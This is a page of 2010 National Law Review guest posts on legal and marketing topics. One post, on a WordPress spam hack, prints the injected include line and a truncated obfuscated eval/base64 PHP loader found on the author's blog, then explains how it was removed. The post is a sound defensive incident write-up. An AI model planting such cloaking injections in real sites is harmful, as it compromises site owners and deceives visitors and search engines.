Author: National Law Forum

A group of in-house attorneys developed the National Law Review on-line edition to create an easy to use resource to capture legal trends and news as they first start to emerge. We were looking for a better way to organize, vet and easily retrieve all the updates that were being sent to us on a daily basis.In the process, we’ve become one of the highest volume business law websites in the U.S. Today, the National Law Review’s seasoned editors screen and classify breaking news and analysis authored by recognized legal professionals and our own journalists. There is no log in to access the database and new articles are added hourly. The National Law Review revolutionized legal publication in 1888 and this cutting-edge tradition continues today.

The Ten Commandments of Drafting a Social Networking Policy

The National Law Review’s featured Guest Bloggers this week are from Steptoe & Johnson PLLC. Vanessa L. Goddard provides some concrete do’s and don’ts for drafting a company Social Media policy.  Read on:

You’ve probably heard this “fact”: if Facebook was a country, it would be the fourth largest country in the world! Web 2.0 has infiltrated every aspect of our lives, including the workplace. As a result, most lawsuits in which employers become mired are fraught with electronic data issues. To guard against a wide range of legal claims, as well as reap the benefits of a global marketplace, many employers are instituting social networking policies. But, as with any policy, a social networking policy must be carefully drafted to meet your business needs. With that, I introduce to you the 10 Commandments of drafting a social networking policy:

NUMBER ONE: Thou shalt NOT use a sample policy pulled willy-nilly from the Internet.

While your search results will pull up dozens of fine looking policies, you won’t know who wrote them, the legal jurisdiction from which they hale, or the business interests the policy seeks to promote. Many times, a bad policy is worse than no policy at all.

NUMBER TWO: Thou SHALT work in harmony to craft a policy appropriate for your business.

If you decide that a social networking policy is appropriate for your business (and it may not be), the combined cooperation of your IT department, human resources, legal, and company decision-makers is necessary to formulate an effective policy.

NUMBER THREE: Thou SHALT know the risks and guard against them.

Employee use of social networking media can have wide-ranging legal ramifications for employers. Possible claims include: harassment, discrimination, defamation, invasion of privacy, and a variety of statutory violations.

NUMBER FOUR: Thou SHALT proclaim that the eye of the employer sees all.

Notify employees that they have no expectation of privacy in their use of company technology, that their activities should be work related only, and that their communications may be accessed at any time.

NUMBER FIVE: Thou shalt NOT take the name of the employer in vain.

The policy should require disclaimers be used indicating that the opinions stated therein are those of the employee and not the employer.

NUMBER SIX: Thou SHALT respect thy co-workers, customers, competitors, and employer.

Require employees to act respectfully in their social networking/blogging activities. Provide guidance on what is and what is not appropriate behavior.

NUMBER SEVEN: Thou shalt NOT steal or do other really bad things with your employer’s computer.

The policy should prohibit disclosure of confidential information, the use of legally-protected/copyrighted information, and the dissemination of personal information of co-workers.

NUMBER EIGHT: Thou SHALT know the consequences of thy actions.

Inform your employees that their social networking activities on the job are subject to all company policies and explain the consequences of violating your social networking policy.

NUMBER NINE: Thou SHALT spread the word throughout the masses.

Distribute the policy. Have your employees sign off on their receipt and understanding of the policy. Provide training on the policy.

NUMBER TEN: Thou shalt NOT commit random acts of destruction.

You MUST ensure that your litigation hold policy incorporates procedures and methodologies to capture and preserve social networking data in the event of litigation.

© 2010 Steptoe & Johnson PLLC All Rights Reserved

About the Author:

Vanessa Goddard’s primary focus is in the area of labor and employment law. She has been involved in representing clients in various employment cases, including sexual harassment, deliberate intent, age, race, and disability discrimination, wrongful discharge, and various other employment-related torts. She is admitted to various state and federal courts as well as the Third Circuit Court of Appeals and Fourth Circuit Court of Appeals.  304-598-8158 /www.steptoe-johnson.com

WordPress Search Spam

A helpful article for all Word Press Users out there from the National Law Review’s Business of Law weekly guest bloggers – Duo Consulting.  Scott Frazer of Duo goes over a Spam issue that impacted Duo’s Blog and provides a detailed solution on how they fixed the problem!

Our blog was recently affected by a rather clever little hack, and when I went searching for ways to remove it, I couldn’t find much. Here’s a brief writeup of what happened and how I fixed it.

Our Director of Internet Marketing Strategy, Sonny Cohen, spends some of his time searching Google and other search engines for keywords relative to our business. He began noticing that some of those results, while they would return pointers to our blog, were laced with keywords and links to various male enhancement drugs. When I searched our blog for these references, I couldn’t find anything.

Here’s what I was seeing when I would search our blog for the phrase “test”:

But here’s what Google was seeing when it did the same search:

You may notice that the URL in that is to a local file. There are two ways you can see what your site looks like to Google. One is to change the User Agent on your browser to match that of the Googlebot. The other is to use the Webmaster Tool’s “Fetch As Googlebot” lab utility. I used the latter, and saved the resulting report as an HTML file and then opened that file in Chrome.

So why is Google seeing different results than anyone else who visits my site and runs that query? Something different must be happening when Google visits. I started running through the execution path of WordPress. The first file that is accessed is index.php. All this file does is turn on a theming variable and load wp-blog-header.php. So I moved on to that file. It looked like this:

if ( !isset($wp_did_header) ) {
$wp_did_header = true;
require_once( dirname(__FILE__) . ‘/temp.php’ );
require_once( dirname(__FILE__) . ‘/wp-load.php’ );
wp();
require_once( ABSPATH . WPINC . ‘/template-loader.php’ );
}

temp.php? Never heard of it, let’s see what’s inside:

eval (gzinflate(base64_decode(
‘vVhtc9pGEP6emfwHRfUUmGLg9IbkhNrUJrZnEsfFOGmKXc1ZOoMmQqInYYea/Pfu’
.’nnjRG6aZzNRj0Em7++yzu3erOw5/fXM4HU9fvnj5Ym8cRnFnz77q9T/2+sPK2WBw’
…snip for length…
.’6reTZEAXdDrl4QNzE/3F3Wy+iKjPxFe0gH7G+ML1IiecBfHiY+LyWLhsVmDlrQ7g’
.’cvonDPkW65UOKh6zCWuM44kvFr6Ialmvw1/fHP4L’
)));

Now that looks evil. Obfuscated code can’t be good. I decided to see what it does by replacing the “eval” with “print” and then I ran “php test.php” from that directory. The results are very long, but you can see them here.

Basically, the program tries to determine if we are a real person or a search engine bot by looking at things like our IP address and our user agent. If it determines we are human, it goes ahead and returns the standard header. If we’re a bot, it serves the content in “theme.html” which is identical to the second screenshot above.

So to clean things up, I removed the reference to temp.php from wp-blog-header.php, deleted the file temp.php and deleted the file theme.html.

© 1999-2010 Duo Consulting

About the Author – Scott Frazer:

Scott supervises Duo’s network facilities, monitoring hardware and software, analyzing problems and ensuring that the network is fully operational. He works closely with clients to identify, interpret and evaluate their system requirements. He also provides the front-line defense of the Duo network by planning, coordinating and implementing network security measures. An avid Mac user, Scott is nonetheless happy to keep Duo’s servers running on Windows Server 2003 and Ubuntu Linux.

Scott has been working in network administration with Internet companies for over ten years. He has experience designing and maintaining networks and server farms for high-traffic sites in both the hosting and e-commerce arenas. As the senior system administrator for MusicToday, an online ticketing, merchandise and fan club portal, he was responsible for the stability and security of large-volume e-commerce sites, including websites for the Rolling Stones, the Grateful Dead and the Dave Mathews Band. www.duoconsulting.com / 312-529-3006

Assessing Your Current Leases for Implementation of LEED®

Recently featured on the National Law Review as a featured blogger Hannah Dowd McPhelin of Pepper Hamilton LLP reviews some things to look for in your company’s leases as related to LEED  implementation. 

If you are the owner of a multi-tenant commercial building and you are considering implementing LEED or another green building rating system, consider these four aspects of your existing leases before making the leap.

First, what costs associated with new sustainability efforts can be shared with the tenants?  A threshold issue in your decision to implement new measures will likely be cost and whether any of the cost can be shared with tenants.  Take stock of what expenses are permitted to be passed through to tenants under the current leases.  In particular, consider the treatment of capital expenditures and similar “big ticket” items.  A lease may allow at least some of the cost (perhaps on an amortized basis) of capital expenditures that are energy saving devices to be shared.

Second, what latitude do you have to impose new operational procedures on the current tenants?  A common example of a new operational procedure is a recycling program.  A good rules and regulations provision will be helpful here because it may allow you to stretch the four corners of the lease a bit to add new sustainability measures and ensure tenants’ compliance.  If you are planning to pursue certification or recognition through LEED or another green building rating system, then this will be an important consideration as the tenants’ compliance and cooperation may mean the difference between achieving certification and not.

Third, where will sustainability defaults fit into your leases’ current defaults and remedies provisions?  With respect to sustainability measures that are law, it is often appropriate for you to mandate tenants’ compliance.  For those measures that are not yet law, consider whether your tenants have an obligation to comply under the leases and when noncompliance becomes a default.  It is likely that any noncompliance would be a covenant default, which may be subject to a longer notice and cure period.  Practically, consider what remedies you are willing to exercise for noncompliance with sustainability measures.

Fourth, which party will reap the benefits of any rebates, credits or other incentives that accrue due to the new sustainability efforts?  Often, a standard lease form will not address the allocation of these items.  It is often assumed that the landlord receives the benefit but consider your tenants’ contributions to your sustainability efforts and also consider that for tax purposes and otherwise each party may benefit more from certain incentives.

Finally, and perhaps most importantly, you must communicate with your tenants and they must buy in to this process.  It will make the implementation of sustainability measures infinitely easier if your tenants are on board and enthusiastic – involve them early and often so they can share in the success of your building’s transformation.

Copyright © 2010 Pepper Hamilton LLP

About the Author:

Ms. McPhelin is an associate with Pepper Hamilton LLP, resident in the Philadelphia office. Ms. McPhelin concentrates her practice in real estate matters and other business transactions, including the acquisition and sale of commercial real estate properties and leasing of office, retail, warehouse and industrial space, representing both landlords and tenants. She is a LEED® (Leadership in Energy and Environmental Design) Accredited Professional and a member of the firm’s Sustainability, CleanTech and Climate Change Team.  215-981-4597 /www.pepperlaw.com

Is Your Email Service Provider the Best?

This week’s Business of Law Guest Bloggers at the National Law Review are from Duo Consulting.  Sonny Cohen of Duo provides some good specifics on what to look for in an emailing service.

We recently received this question from a law firm marketer. I’ve edited it slightly for brevity and anonymity:

“Our email service is earning a big #fail at this point. We’ve used (Name Brand provider) with great success for small jobs and I’m talking with them about an enterprise solution. Do you have a provider you love (or a crappy one I should be warned away from)? What are the pros and cons of the systems you’ve used?”

The question, submitted to a listserv, engendered responses of affiliation with one ESP or another because they liked them, had no problems, or other good indications of service. But email delivery is more complex than you might first imagine and one size does not fit all. It is not (yet) a commodity. Personal recommendations of quality service or indications of being satisfied are a good start of an evaluation but an insufficient qualifier for engaging an email service provider. Like the acquisition of almost any service (legal or technical) it is important to understand requirements.

This is not intended to be comprehensive but merely to illustrate my point. Get this part and you might get there is more to the story. So let’s take a look at these simple factors:

  • What does your email subscriber base look like? gmail.com? or bigcompanyname.com?
  • How big a mailing would you execute at one time?
  • What is your mailing frequency?

If you send a lot of email frequently to corporate email addresses, the email reputation is critical to getting into the inbox of your subscriber. The better email service providers (ESPs) do 2 things. First, they manage the reputation of the email addresses from which they send the email (their IP addresses). The best ESPs offer you the opportunity to set up your own email address on their system. This will look something like email.lawfirm.com and email will come from something like sonny@email.lawfirm.com So while it still looks like your business, it is isolated from your domain (lawfirm.com) and from the email sending behavior or misbehavior of other clients of this ESP. Are you with me?

What happens if you send an email to a lot of people at the same domain such asxxxx@client.com where xxxx is lots of different people? When all these emails show up @client.com at one time, they look like spam. It may even look like an attack on the email server. The corporate email server receives these emails so you probably see these emails as being delivered. But they never make it into the inbox of the individual email recipients.

The better ESPs offer the capability to throttle the sending of emails so that they don’t look like a spam attack on an email server. It more closely resembles natural email commerce. Good commercial ESPs can afford to throttle the send of their emails. Spammers cannot because they’ve got way too much email to send. Are we getting esoteric yet?

ESPs are commercial companies and not a part of any website development company’s core competency. We have our favorites but we are not linked at the hip. Email services built into CRM systems such as Interaction, Salesforce, etc. are bulk mailers and do not have these deliverability features and a deliverability desk (personnel) focused on managing IP reputation. This doesn’t make them bad by any stretch. But it does affect deliverability performance.

Finally, the best ESPs are becoming messaging companies capable of delivering text messages and voice messages. If your communication strategy is to be first to market with targeted information, you may find that a text message alert system is a client service you haven’t yet considered. It is unlikely that your “economy” bulk email guy who is “friendly to deal with”  offers these extended and diversified contact capabilities. And maybe you don’t need it and never will.

Being able to track email performance is a common feature but it is not the test of a quality system. And these tools may not even provide accurate or complete information regarding the effectiveness of your email marketing campaigns. Even the best (i.e. more costly) ESPs come only close to precise. Third party firms like Return Path and Pivotal Veracity might provide this higher level of email evaluation and deliverability improvement.

Price is not always a guarantee that you will get better delivery services like what I’ve identified above. But a low price pretty much guarantees that you will not. For my part, I think reaching targeted contacts for a few pennies is a pretty good deal. If you are driven to cut that penny in half, you should at least know what you are getting and what you aren’t.

Whew! Hope this is helpful. Oh yeah, who do we use? ExactTarget. But remember. One size does not fit all. Think about your requirements.

Email open rate is only one indicator of email success

© 1999-2010 Duo Consulting

About the Author:

Sonny works closely with Duo’s clients to develop their online business and marketing strategy. His tactical responsiblities include: Implementing and managing paid search engine campaigns;  Consulting on and implementing permission-based email; Providing strategic online marketing consultation to law firms and others using web analytics to help drive website and business performance and Conceputalizing and implementing social media marketing.

312-529-3003 / www.duoconsulting.com

Renewable Energy Financial Incentives: Interested Parties Scramble for More Time

The National Law Review’s featured guest bloggers this week are from Pepper Hamilton LLP.  Jane C. Luxton provides a ‘heads up’ on important deadline which is quickly approaching.  Read on:  

When Congress passed the American Recovery and Reinvestment Act – familiarly known as the “stimulus bill” or “ARRA” – in 2009, it specified that funding would expire on September 30, 2011.  Any project not “shovel ready” by that date is out of luck, and application deadlines for available money fall due even earlier.  Renewable energy funding under ARRA comes principally under Department of Energy loan guarantee programs and Treasury Department grants in lieu of existing tax credits.

Originally, DOE established a cutoff date of August 30, 2010, for part 1 applications for the multi-billion dollar loan guarantee fund for commercial-scale renewable energy projects added under ARRA as Section 1705 of the Energy Policy Act of 2005.  Giving away all that money turned out to be harder than expected, however, and under pressure from critics, DOE recently extended its deadlines, but not by much.  It is possible further extensions will occur, but for now applications for renewable energy generation projects must be filed by October 5, and for proposals based on manufacture of renewable energy components, by November 30.  Further, DOE recently clarified that only large projects will qualify for manufacturing grants:  those totaling $75 million or more.  Details are available at  http://www1.eere.energy.gov/financing/.

Meanwhile, interested parties have secured bipartisan congressional support to extend the Treasury Department program that allows taxpayers to obtain cash grants in lieu of renewable energy tax credits, authorized under Section 1603 of ARRA.  Whether this support is sufficient to win passage in the waning pre-election days of a turbulent Congress is an open question.  Developers, investors, and other interested parties should monitor these developments closely.

While time may be growing short for the ARRA programs, other sources of federal and state incentive money remain available and continue to play a key role in promoting renewable energy deals.

Copyright © 2010 Pepper Hamilton LLP

About the Author:

Ms. Luxton is a partner in the Environmental Practice Group of Pepper Hamilton LLP, resident in the Washington office. She is chair of the firm’s Sustainability, CleanTech and Climate Change Team. Ms. Luxton has practiced for more than 20 years in the field of environmental law, and she is actively involved in climate change and renewable energy matters. 202-220-1437 / www.pepperlaw.com


ABA Investment Management Basics Boston Univ. Oct. 13 – 15

The National Law Review is proud to support – the American Bar Association Business Law Section, the ABA Center for Continuing Legal Education, and the Morin Center for Banking and Financial Law of Boston University School of Law present the 3rd presentation of a two-and-one-half day introduction to the regulation of investment companies (mutual funds) and functionally similar entities.

Attend This Program And Learn What You Need To Know About …
  • The structure of the investment management industry
  • The anatomy of an investment company “family” of funds
  • The regulatory scheme imposed on investment companies and related service providers
  • The mechanics of the two “40 Acts: Investment Company Act and Investment Advisors Act”
  • Modern governance standards for investment companies
  • Distribution of fund shares and the fiduciary and regulatory issues raised
  • Contrasting regulation of hedge funds and private equity funds
  • “Hot issues” in the industry

Who Should Attend This National Institute?

  • Lawyers at all levels of experience (including regulators) who are involved or expect to become involved in issues surrounding the investment company industry
  • Private practitioners who advise corporate clients on related matters
  • Consultants, accountants, and bank executives seeking a more comprehensive understanding of this changing industry

MCLE

Mandatory continuing legal education (MCLE) accreditation has been requested from all states that require continuing legal education. 17.50 hours of CLE credit, including 1.00 hours of Ethics credit, have been requested from those states recognizing a 60-minute credit hour and 21.00 hours of CLE credit, including 1.00 hours of Ethics credit, have been requested from those states recognizing a 50-minute credit hour. For NY-licensed attorneys: This transitional CLE program has been approved for all NY-licensed attorneys in accordance with the requirements of the New York State CLE Board (17.50 including 1.00 

hours of Ethics total NY transitional MCLE credits).

For more information and to register go to the ABA CLE Website.


Considerations for Design Services Agreements for Projects Seeking LEED® or Similar Certification

The National Law Review’s featured guest bloggers this week are from Pepper Hamilton LLP.  Wendy Klein Keane outlines things that need to be considered for LEED® or similar certifications:  

If you are contemplating pursuing certification under the LEED (Leadership in Energy and Environmental Design) Green Building Rating System or another green building code or standard for a construction project, it is important that you integrate these objectives and requirements into your design services agreement. It is equally important that these issues be integrated into the construction services agreement(s) for the project as well, but those issues will be addressed in a future post. As a starting point, you should consider the following questions and ensure that they are covered by your design services agreement.

1) What kind/level of certification are you seeking for the project? While you may not know the precise level of certification that you will obtain, you should include a provision in the contract that identifies the governing standard that has been chosen (or is required) for the Project.

2) Does the agreement permit you to use the instruments of services to obtain that certification? You need to make certain that your agreement with the design professional permits the underlying design documents to be used to apply for and obtain certification, without constituting a breach of the contract or violation of copyright laws.

3) What additional scope of services will be required as a result of seeking LEED or similar certification? Obtaining LEED or similar certification is dependent on not just the design professional’s performance, but also a variety of other factors including the contractor’s performance, the budget, the documentation, and the institution responsible for the certification process. As a result, the agreements for the project should be carefully drafted to make sure that the required scope is correctly and completely allocated amongst the parties. There are currently only a few standard forms that address a design professional’s scope of services for a project seeking LEED or similar certification. One example is the American Institute of Architects (“AIA”) Document B214-2997 (Standard Form of Architect’s Services: LEED Certification) (http://www.aia.org/contractdocs/AIAS076745). Article 2 of the AIA-B214 includes services that could be provided by the design professional for projects seeking LEED certification. The B214 can be modified and made an exhibit to your design services agreement. Another example is the ConsensusDOCS 310, Green Building Addendum, (http://consensusdocs.org/catalog/300-series/), which is appropriate for use on any green building project. You could also review and integrate parts of the LEED Green Building Rating System or other relevant written codes or standards into the agreement. All of these sources are starting points only and must be evaluated and made suitable for your project.

4) How will achieving LEED or similar certification be guaranteed or incentivized in the agreement? Owners and design professionals should consider the risks and benefits of obtaining certification and develop contractual provisions to ensure that the desired certification is obtained. One way to encourage performance is through a liquidated damages provision where the design professional bears some financial responsibility if certification is not obtained due to his or her acts or omissions. Another possibility is to include a bonus payment tied to completing the application process or obtaining actual certification.

These questions touch on only a few considerations that can be integrated into your design services agreement to make certain that the necessary contractual framework is in place to successfully achieve the desired green certification for your project. The specific facts and goals of each project should be considered and included in the design services agreement for that  project.

Copyright © 2010 Pepper Hamilton LLP

About the Author:

Ms. Klein Keane is an associate in the Construction Practice Group of Pepper Hamilton LLP, resident in the Philadelphia office. She also is a member of the firm’s Sustainability, CleanTech and Climate Change Team. She is one of the few attorneys who passed the Green Building Certification Institute’s exam to qualify as a LEED® (Leadership in Energy and Environmental Design) Accredited Professional. Ms. Klein Keane has experience counseling clients through all phases of the construction process on both public and private projects, including contract drafting and negotiation, bidding, contract administration, and litigation and alternative dispute resolution proceedings.  www.pepperlaw.com / 215-981-4982

The Insider’s Guide to Event Organizers: 10 Questions You Can’t Afford Not to Ask Yourself

The Business of Law Guest Blogger this week at the National Law Review is Wendy Tyler of American Conference Institute who provides some valuable insight on what to look for in an Event / Conference Organizer:  

A traditional component of business to business marketing strategy is utilizing conferencing and trade show solutions. Ever an increasingly competitive business, the conferencing and trade show industry has witnessed significant market shifts as demand from attendees, exhibitors, speakers and sponsors have changed with the business climate. Marketing budgets remain closely scrutinized as decision makers need to justify their investments to a higher standard than ever before, which means the pre‐qualification process for an event is more vital than ever.

At any given moment, no less than two dozen event organizers simultaneously compete for your business.  With this volume it’s not uncommon to find yourself unable to fully vet each and every event opportunity that comes your way, and in return, it’s possible that valuable opportunities are being overlooked while poor opportunities may inadvertently be selected.

Evaluating an event opportunity starts with asking the right questions.  There are ten essential questions that every event purchaser should ask every conference or trade show organizer when reviewing an opportunity to participate at any level.   Each of these questions acts as a guidepost in effective qualification.   Naturally, the list of questions you might want to ask doesn’t end at ten; but these ten will help you narrow your event search and potential involvement.  Once you have these answers, any good event account manager should be able to guide you through your additional questions clearly and concisely discussing the marketing capabilities, overall event strategy, and brand development opportunities that may be available to you.

1.  How many total attendees do your events average?

This question will help you evaluate the size of the event so you can determine if the opportunity presented is for support of a conference or trade show. Due to the cyclical nature of live events, attendance does vary so it’s important that you ask what the high/low range of attendance has been so you can better assess the risk of an underperforming event.

2.  How many events do you produce a year?

This question will give you a good sense of the event organizer’s market penetration. The fewer events produced per year generally indicates that the organizer does not consider conferencing a major part of their business. For some purchasers this may not make a difference in their buying strategies but for others, there is a high degree of comfort knowing you are investing in a business whose primary business function is the delivery of the service you’ve procured.

3.  How many of your total attendees are fee‐paying delegates?

Quite often, event organizers lump all participants as “attendees” – this can include speakers, sponsors, exhibitors, guests, exhibit floor walkers and press. Paying delegates are the highest value prospects because they are investing money in the information presented at an event. Consequently, the greater number of paying attendees will lead to a greater quality of a pre-qualified audience for your needs – even at the sacrifice of quantity – and provide your organization with a better chance of meeting the right decision makers. The old adage “you get what you pay for” is never more apparent than here.

4.  When can you show me a list of attendees?

An event organizer should be able to show you a list of attending companies no less than two days prior to an event in order to substantiate the quality of the attendees. In some cases, and with certain levels of sponsorship, you may have the opportunity to receive an update on registered attendees several weeks prior to the event. The bottom line is that two days prior to a conference, any organizer that doesn’t release some information on the confirmed attendees may not have confidence in their event thus placing your investment in jeopardy.

5.  Does this list include speakers, guests, sponsors, etc.?

Similar to any purchase of significant value, it is important to carefully review what it is you will be investing your dollars in. A sample attendee list, even one from a related event is a great way to get a feel for the expected audience. As the event nears and you receive an attendee list, be sure to find out whom exactly is included. While speakers, guests and even other sponsors can represent strong business development opportunities for your organization, it is important to know where the attendees are coming from so you can plan accordingly, manage internal expectations and have better metrics for measuring your return on investment.

6.  Would you let me speak to a former speaker or attendee?

Similar to a “word of mouth” campaign, a great way to pre‐qualify a conference organizer is to speak with a former or current speaker, attendee or sponsor. This will provide your organization with an opportunity to get a first‐hand account of the event; and the organization you’re about to allocate marketing budget to.

7. How would you define your organization’s reputation?

It is important to determine how an organization defines its reputation. It is especially important to see if their self‐definition matches the definition offered by previous attendees, sponsors & speakers. An organizer should know how it is perceived in the marketplace, for better or for worse and be able to convey this to any potential client honestly and transparently.

8. What is your competitive advantage?

Similar to reputation, a company’s competitive advantage will help an event purchaser clearly define what they can expect from the organizer. This answer will also provide a purchaser with a benchmark for evaluation after the event concludes. For example, if an event organizer is known for attracting press, you will be able to judge your return on investment based on how much press your organization received.

9. How can you help my company with your go to market strategy?

As an event purchaser, it is important to challenge the organizer to provide a comprehensive solution to your business objectives as opposed to having them simply provide a “one size fits all” product. We live in agile times and most solution providers should provide custom solutions tailored to meet your specific needs. The exception to this rule is if you are working with a trade show organizer because the volume of sponsors and exhibitors sometimes prohibit high degrees of customization.

10. Can you explain your process of program development and speaker recruitment?

Program development and speaker recruitment are to an event organizer what research and development is to a pharmaceutical company. The process is as important as the product. Through greater understanding of where content is derived and speakers are recruited from, an event purchaser is provided the opportunity to evaluate the product in its entirety. With greater content and speakers comes a higher quality of attendee. Understand the source of the content and speakers and an event purchaser will be able to better judge the chances of meeting the right audience.

The questions provided above are intended to serve as guidelines for those evaluating event sponsorship and exhibition opportunities. The answers you receive are contingent upon a number of factors including the type of event, the product intelligence of the sales executive and the corporate culture of the organizer. As with the nature of live events, the ability to accurately predict a successful event experience is more art than science however; armed with these ten basic questions, you will be given every possible advantage in making the best decision for your company.

© 2010 AMERICAN CONFERENCE INSTITUTE, ALL RIGHTS RESERVED

About the Author:

Ms. Tyler has been with American Conference Institute (ACI) since May 2005. Her responsibilities include managing the U.S. sales team, forging strategic alliances and identifying emerging growth sectors and topics. www.AmericanConference.com / 212-352-3220

Twitter Do’s & Twitter Don’ts

As included in the Business of Law Section of the National Law Review Tom Ciesielka of TC Public Relations provides some solid Do’s & Don’ts for Twitter:  

With millions of unique visitors each month, Twitter is still at the top of the social media game. Some people still use Twitter to catalog boring details of the day. However, savvy and smart users realize Twitter’s usefulness as a concise way of marketing and reaching out to consumers and media.  Read the following do’s & don’ts to continue being one of the savvy and smart users.

  • Do make quality friends. Capturing an audience on Twitter is important, but don’t start following 857 people in one day. Start with a few friends, some movers and shakers of your industry, some legal reporters—listen to their tweets, and offer relevant replies. Then continue to follow a few new people week by week. Don’t just follow to follow, but actually think about why you want to connect with a certain person – think “strategic following.” Then contribute meaningful posts each day that others might find interesting as a way to build your own following.
  • Do protect your reputation. Twitter can be used to solidify your brand image, and it is an indispensable medium when crisis hits. Maintaining a Twitter account can help your firm when a damaging story hits cyberspace because a response on Twitter is often the fastest way to acknowledge the problem or issue. Failing to address any breaking news that involves your company makes you look at best, incompetent and at worst, guilty. Confidentiality laws may render tweeting a bad idea, but you should always pay attention to what’s happening and be prepared to do damage control when necessary.
  • Do be efficient. Building relationships on Twitter can facilitate communication about your legal specialties and expertise. However, using Twitter effectively and appropriately can be a time-consuming job, so try and implement applications that will help you be more efficient like TwitterFeed, TweetDeck and ÜberTwitter. It is also more efficient to partake in niche topic conversations about your practice areas instead of tweeting about the world of law in general. Specificity trumps generality.
  • Don’t be boring or narcissistic. Stick to tweeting about pertinent topics and find ways to express your personality through the links you post, rather than tweeting about how many briefs you’ve written that day or what color tie you’re wearing. Share links to legal headlines or comment on stories related to your expertise. Participate in discussion, reply to other users’ tweets, re-tweet their tweets—Twitter is not a one-person game, so don’t try to be the center of the universe.
  • Don’t turn off your censor. In cyberspace, a record of your most inappropriate tweet will live on in infamy long after you’ve cooled down. Never forget that what you say on Twitter can come back to haunt you, so rude or tasteless comments can come back to haunt you. Play it cool and don’t tweet anything you wouldn’t say in public; after all, Twitter is incredibly public.

Copyright © 2010 TC Public Relations

This posting is republished with permission from the Chicago Lawyer Magazine Blog “Around the Watercooler” located at:  http://h20cooler.wordpress.com/2010/

About the Author:

Tom Ciesielka, President of TC Public Relations, has worked in public relations, marketing and business development for more than 25 years and has enjoyed working with clients ranging from law firms to distinguished authors to national and local companies. He feels privileged to have established trusting working relationships with these clients and values every opportunity he gets to help businesses grow.  He is also a former board member of the Legal Marketing Association in Chicago and has spoken at Chicago Bar Associations CLE programs.  312-422-1333 / www.tcpr.net

Class Action Defense Cases–American Honda v. Allen: Seventh Circuit Court Reverses Class Action Certification Order Holding District Court’s Daubert Analysis Inadequate And Expert Testimony Inadmissible

National Law Review’s featured blogger Michael J. Hassen of Jeffer, Mangels, Butler & Mitchell LLP provides some insight on a recent 7th Circuit class action case which addresses expert testimony:

District Court Erred in Granting Class Action Certification because Expert Testimony Establishing Rule 23(b)(3)’s Predominance Prong was Unreliable and District Court’s Daubert Analysis Inadequate Seventh Circuit Holds

Plaintiffs filed a putative class action against American Honda and Honda of America (collectively “Honda”) alleging product defect liability concerning Honda’s Gold Wing GL1800 motorcycle; specifically, the class action complaint alleged that a design defect in the steering assembly causes the motorcycle to “wobble.” American Honda Motor Co., Inc. v. Allen, 600 F.3d 813, 814 (7th Cir. 2010). Plaintiffs moved the district court to certify the litigation as a class action under Rule 23(b)(3), relying heavily on an expert’s opinion that common issues predominate; Honda opposed class action treatment and challenged the expert opinion relied upon by plaintiffs in their motion. Id. Defense attorneys moved under Daubert v. Merrell Dow Pharms., Inc., 509 U.S. 579 (1993), to strike plaintiffs’ expert report on the grounds that the expert’s “wobble decay standard was unreliable because it was not supported by empirical testing, was not developed through a recognized standard-setting procedure, was not generally accepted in the relevant scientific, technical, or professional community, and was not the product of independent research.” Id. The district court agreed to rule on the admissibility of the report prior to ruling on class certification because the report was central to the motion, id. But while the court announced “definite reservations about the reliability of [the expert’s] wobble decay standard,” it refused to exclude the report entirely “at this early stage of the proceedings.” Id., at 814-15. The district court granted class action certification, id., at 815, and Honda sought leave to appeal, id., at 814. The Seventh Circuit granted Honda’s request and reversed.

The Circuit Court explained that the issue before it was “whether the district court must conclusively rule on the admissibility of an expert opinion prior to class certification in this case because that opinion is essential to the certification decision.” American Honda, at 814. The Court summarized the expert’s “wobble decay” opinion, which was based on a standard the expert himself had devised and that he himself characterized as “reasonable.” Id. The expert opinion was important because “most of Plaintiffs’ predominance arguments rest upon the theories advanced by [their expert].” Id. (quoting Allen v. Am. Honda Motor Co., 264 F.R.D. 412, 425 (N.D. Ill. 2009)). In response to Honda’s objections and following the Daubert hearing, the district court “noted that it was concerned that, among other things, [the expert’s] wobble decay standard may not be supported by empirical evidence, the standard has not been generally accepted by the engineering community, and [his] test sample of one may be inadequate to conclude that the entire fleet of GL1800s is defective.” Id., at 814-15. Nevertheless, the lower court believed it was too early in the litigation to dismiss the expert’s opinion in its entirety, and so it granted class action treatment without prejudice to Honda moving to exclude the expert’s opinion. Id., at 815.

As a matter of first impression in the Seventh Circuit, the Court “specifically addressed whether a district court must resolve a Daubert challenge prior to ruling on class certification if the testimony challenged is integral to the plaintiffs’ satisfaction of Rule 23’s requirements.” American Honda, at 815. The Circuit Court held “that when an expert’s report or testimony is critical to class certification, as it is here…, a district court must conclusively rule on any challenge to the expert’s qualifications or submissions prior to ruling on a class certification motion.” Id., at 815-16. Thus, in the Seventh Circuit’s view, “the district court must perform a full Daubert analysis before certifying the class if the situation warrants.” Id., at 816. This includes not only the expert’s qualifications, but “any challenge to the reliability of information provided by an expert if that information is relevant to establishing any of the Rule 23 requirements for class certification.” Id.

In this case, the district court “started off on the right foot by beginning to undertake what might have become a fairly extensive Daubert analysis,” and both acknowledged “and largely agreed with” Honda’s concerns about the reliability of the testimony of plaintiff’s expert, “[y]et the district court ultimately declined, without further explanation, ‘to exclude the report in its entirety at this early stage of the proceedings.’” American Honda, at 816. The Circuit Court explained at page 816 that the district court’s analysis (or lack thereof) constituted an abuse of discretion: “The court’s effective statement of admissibility here is not even conclusory; it leaves open the questions of what portions of [the expert’s] testimony it may have decided (or will decide) to exclude, whether [the expert] reliably applied the standard to the facts of the case, and, ultimately, whether Plaintiffs have satisfied Rule 23(b)(3)’s predominance requirement. As a result, the district court never actually reached a conclusion about whether [the] expert report was reliable enough to support Plaintiffs’ class certification request. Instead it denied Honda’s motion to exclude without prejudice and noted that the case was in an ‘early stage of the proceedings.’”

Reviewing the expert’s report on the merits, the Seventh Circuit held that “our examination of the record reveals that exclusion is the inescapable result when the Daubert analysis is carried to its conclusion.” American Honda, at 817. The issue here was one of reliability rather than qualifications, but the Circuit Court noted that “even the most ‘supremely qualified expert cannot waltz into the courtroom and render opinions unless those opinions are based upon some recognized scientific method and are reliable and relevant under the test set forth by the Supreme Court in Daubert.’” Id. (citing Clark v. Takata Corp., 192 F.3d 750, 759 n.5 (7th Cir.1999)). Based on the Court’s analysis, the expert’s testimony was unreliable, see id., at 817-18, and “expert testimony that is not scientifically reliable should not be admitted, even ‘at this early stage of the proceedings,’” id., at 819 (citation omitted). Because the expert’s testimony formed the foundation for Rule 23(b)(3)’s predominance test, class action certification could not stand. Id. Accordingly, the Seventh Circuit granted Honda’s petition for leave to appeal and vacated the denial of Honda’s motion to strike and the district court’s order grant of class action treatment. Id.

